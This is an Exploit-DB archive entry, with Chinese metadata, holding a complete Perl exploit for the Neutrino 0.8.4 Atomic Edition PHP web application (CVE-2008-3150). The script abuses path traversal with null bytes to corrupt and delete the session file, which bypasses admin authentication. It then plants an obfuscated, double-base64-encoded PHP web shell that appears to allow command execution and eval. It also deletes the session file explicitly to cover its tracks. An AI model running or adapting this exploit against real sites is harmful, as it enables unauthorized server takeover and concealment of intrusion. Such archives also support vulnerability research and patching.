标题: QNX Neutrino 0.8.4 Atomic Edition - Remote Code Execution EDB-ID: 6018 CVE: 2008-3150 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: #!/usr/bin/perl
#
# Neutrino 0.8.4 Atomic Edition Perl exploit
#
# discovered & written by Ams
# ax330d@gmail.com
#
# DESCRIPTION:
# First exploit destroys "/data/sess.php" file (simply strips tags),
# then we are able to bypass authorization and using admin privelegies
# our exploit uploads basic shell to "/data/pages/shell_name" and deletes "/data/sess.php".
# Admin will not see that "/data/sess.php" is deleted (it will be restored back in new auth).
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# regardless php.ini settings...
#
# GREETZ :P
# Goes to... SLV, to he ( he knows who =)) and 
# others whom do i know =)
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 \n\t\t Neutrino 0.8.4 Atomic Edition exploit
 \n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
 die "\n\tUsage:\texpl.pl [host]\n\n
 \n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];
my $shell = q~
<?php
$shell='YVhOelpYUW9KRjlRVDFOVVd5ZHdhSEJwYm1adkoxMHBQMlJwWlNod2FIQnBibVp2S0NrcE9qQTdDaVJsY2owbkp6c2t'.
'jMjA5Snp4a2FYWWdZMnhoYzNNOUltNW1ieUkrU1c1bWJ6cGJjMkZtWlY5dGIyUmxQU2N1YVc1cFgyZGxkQ2duYzJGbVpWOXRiMl'.
'JsSnlrdUoxMG1ibUp6Y0R0YloyeHZZbUZzY3owbkxtbHVhVjluWlhRb0ozSmxaMmx6ZEdWeVgyZHNiMkpoYkhNbktTNG5YU1p1W'.
'W5Od08xdHRZV2RwWTE5eGRXOTBaWE5mWjNCalBTY3VhVzVwWDJkbGRDZ25iV0ZuYVdOZmNYVnZkR1Z6WDJkd1l5Y3BMaWRkSm01a'.
'WMzQTdXMlJwYzJGaWJHVmtYMloxYm1OMGFXOXVjejBuTG1sdWFWOW5aWFFvSjJScGMyRmliR1ZrWDJaMWJtTjBhVzl1Y3ljcExpZ'.
'GRKbTVpYzNBN1BHSnlMejViY0dod09pY3VjR2h3ZG1WeWMybHZiaWdwTGlkZEptNWljM0E3VzNWelpYSTZKeTVuWlhSZlkzVnljb'.
'VZ1ZEY5MWMyVnlLQ2t1SjEwbWJtSnpjRHM4WW5JdlBsdDFibUZ0WlRvbkxuQm9jRjkxYm1GdFpTZ3BMaWRkSm01aWMzQTdQQzlrYV'.
'hZK1BHSnlMejRuT3dwcFppaHBjM05sZENna1gxQlBVMVJiSjNObGRDZGRLU2w3YVdZb2FYTnpaWFFvSkY5R1NVeEZVMXNuWm1rblh'.
'Ta3BJR2xtS0NGQWJXOTJaVjkxY0d4dllXUmxaRjltYVd4bEtDUmZSa2xNUlZOYkoyWnBKMTFiSjNSdGNGOXVZVzFsSjEwc0pGOUdTV'.
'XhGVTFzblpta25YVnNuYm1GdFpTZGRLU2tnSkhOdExqMG5QSE53WVc0Z1kyeGhjM005SW1WeWNtOXlJajVEYjNWc1pDQnViM1FnYlc'.
'5MlpTQjFjR3h2WVdSbFpDQm1hV3hsSVR3dmMzQmhiajRuT3dwcFppaHBjM05sZENna1gxQlBVMVJiSjJWMllXd25YU2twZTI5aVgzT'.
'jBZWEowS0NrN1pYWmhiQ2drWDFCUFUxUmJKMlYyWVd3blhTazdKSE50TGoxdllsOW5aWFJmWTJ4bFlXNG9LVHQ5Q21semMyVjBLQ1J'.
'mVUU5VFZGc25aWGhsWXlkZEtUOGtjMjB1UFNjOGNISmxQaWN1WUNSZlVFOVRWRnRsZUdWalhXQXVKend2Y0hKbFBpYzZNRHQ5Q21Wa'.
'mFHOGdKenhvZEcxc1BqeG9aV0ZrUGp4MGFYUnNaVDR1TGk1MFpXMXdiM0poY25rZ2MyaGxiR3d1TGk0OEwzUnBkR3hsUGp4dFpYUmhJ'.
'R2gwZEhBdFpYRjFhWFk5SWtOdmJuUmxiblF0Vkhsd1pTSWdZMjl1ZEdWdWREMGlkR1Y0ZEM5b2RHMXNPeUJqYUdGeWMyVjBQWGRwYm1'.
'SdmQzTXRNVEkxTVNJdlBnbzhjM1I1YkdVZ2RIbHdaVDBpZEdWNGRDOWpjM01pUGdwaWIyUjVlMlp2Ym5RdFptRnRhV3g1T25abGNtUmh'.
'ibUVzWVhKcFlXd3NjMlZ5YVdZN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak16TXpPMk52Ykc5eU9pTm1PV1k1WmprN1ptOXVkQzF6YVh'.
'wbE9qRXdjSGc3ZlFvdVltOTRlMkp2Y21SbGNqb3hjSGdnYzI5c2FXUWdJMk5qWXp0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNek16TTd'.
'iV0Z5WjJsdU9tRjFkRzg3YldGeVoybHVMWFJ2Y0RvME1IQjRPM0JoWkdScGJtYzZNVEJ3ZUR0M2FXUjBhRG8wTURCd2VEdDlDaTV1Wm0'.
'5N1ltOXlaR1Z5T2pGd2VDQnpiMnhwWkNBak9UazVPMkpoWTJ0bmNtOTFibVF0WTI5c2IzSTZJelkyTmp0d1lXUmthVzVuT2pWd2VEdDl'.
'DaTVqZTJOdmJHOXlPaU0wTkRRN1ptOXVkQzF6YVhwbE9qQXVOMlZ0TzMwS2FXNXdkWFI3YldGeVoybHVPakp3ZUR0OUNqd3ZjM1I1YkdV'.
'K1BDOW9aV0ZrUGp4aWIyUjVQanhrYVhZZ1kyeGhjM005SW1KdmVDSStKeTRrYzIwdUp3bzhabTl5YlNCbGJtTjBlWEJsUFNKdGRXeDBhW'.
'EJoY25RdlptOXliUzFrWVhSaElpQmhZM1JwYjI0OUlpSWdiV1YwYUc5a1BTSndiM04wSWo0S1BIQStQR2x1Y0hWMElIUjVjR1U5SW5OMV'.
'ltMXBkQ0lnYm1GdFpUMGljR2h3YVc1bWJ5SWdkbUZzZFdVOUluQm9jR2x1Wm04aUx6NDhMM0ErQ25Wd2JHOWhaRG84YVc1d2RYUWdkSGx3'.
'WlQwaVptbHNaU0lnYm1GdFpUMGlabWtpTHo0OFluSXZQZ3BqYldRNkptNWljM0E3UEdsdWNIVjBJSFI1Y0dVOUluUmxlSFFpSUc1aGJXVT'.
'lJbVY0WldNaUlIWmhiSFZsUFNJaUx6NDhZbkl2UGdwbGRtRnNPaVp1WW5Od096eHBibkIxZENCMGVYQmxQU0owWlhoMElpQnVZVzFsUFNK'.
'bGRtRnNJaUIyWVd4MVpUMGlJaTgrUEdKeUx6NDhjRDRLUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpYzJWMElpQjJZV3'.
'gxWlQwaVQyc2lMejQ4TDNBK0Nqd3ZabTl5YlQ0OFluSXZQanh6Y0dGdUlHTnNZWE56UFNKaklqNTBiWEFnYzJobGJHd2dZbmtnUVcxelBD'.
'OXpjR0Z1UGp3dlpHbDJQand2WW05a2VUNDhMMmgwYld3K0p6cz0=';
eval(base64_decode(base64_decode($shell)));
?>
~;
my $shell_name = 'eof.php'; # or any desired

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#){
 exploit($expl_url);
} else {
 exploit('http://'.$expl_url);
}

sub exploit {
 
 # Defining...
 my $site = pop @_;
 my ($a, $b, $c, @d) = split /\//,$site;
 my $path = join('/',@d);
 my $host = $c;
 if($path) {$path = '/'.$path;}
 my ($length, $packet, $config, $injection);
 
 # Revealing /data/sess.php...
 print "\n\t[~] Modifying '/data/sess.php'...";
 $injection = "action=usb&mail=-|\\?|-&p=../sess.php%00";
 $length = length($injection);
 $packet = "POST $path/index.php HTTP/1.1\r\n";
 $packet .= "Host: $host\r\n";
 $packet .= "Connection: Close\r\n";
 $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $packet .= "Content-Length: $length\r\n\r\n";
 $packet .= "$injection";
 if( ! send_surprise($host, $packet)){
  die("\n\t[-] Unable to connect to http://$host\n\n");
 }
 sleep(1);

 # Let's cover up traces...
 $injection = "action=del_pag&pg=../sess.php%00";
 $length = length($injection); 
 $packet = "POST $path/index.php HTTP/1.1\r\n";
 $packet .= "Host: $host\r\n";
 $packet .= "Connection: Close\r\n";
 $packet .= "Cookie: sid= \r\n";
 $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $packet .= "Content-Length: $length\r\n\r\n";
 $packet .= "$injection";
 print "\n\t[~] Covering up traces (deleting sess.php) ...";
 if( ! send_surprise($host,$packet)) {
  die("\n\t[-] Unable to connect to http://$host\n\n");
 }
 sleep(1);

 # Bypassing auth, creating shell, copying "/data/sess.php"...
 print "\n\t[~] Bypassing auth, creating shell...";
 $injection = "action=new_pag&title=$shell_name&text=$shell";
 $length = length($injection);
 $packet = "POST $path/index.php HTTP/1.1\r\n";
 $packet .= "Host: $host\r\n";
 $packet .= "Connection: close\r\n";
 $packet .= "Cookie: sid= \r\n";
 $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $packet .= "Content-Length: $length\r\n\r\n";
 $packet .= $injection;
 if( ! send_surprise($host,$packet)){
  die("\n\t[-] Unable to connect to http://$host\n\n");
 }
 sleep(1);
 
 # Finally check for shell
 print "\n\t[~] Checking for shell...";
 $packet = "POST $path/data/pages/$shell_name HTTP/1.1\r\n";
 $packet .= "Host: $host\r\n";
 $packet .= "Connection: Close\r\n\r\n";
 if( ! (my $dat = send_surprise($host,$packet,1))){
  die("\n\t[-] Unable to connect to http://$host (check for shell yourself in $path/data/pages/$shell_name)\n\n");
 } else {
  if ($dat =~ /200 OK/){
   print "\n\t[+] Exploited! (check /data/pages/$shell_name)\n\n";
  } else {
   print "\n\t[-] Exploiting failed... (but still check /data/pages/$shell_name =))\n\n";
  }
 }
}

sub send_surprise(){
  
 my $dat = 1;
 my ($host, $packet, $ret) = @_;
 my $socket=IO::Socket::INET->new(
  Proto=>"tcp",
  PeerAddr=>$host,
  PeerPort=>"80"
 );
 if( ! $socket){
  return 0;
 } else {
  
  print $socket $packet;
  if($ret){
   my $rcv;
   while($rcv = <$socket>){
   $dat .= $rcv;
   }
  }
  close ($socket);
  return $dat;
 }
}

# milw0rm.com [2008-07-07] URL: https://www.exploit-db.com/exploits/6018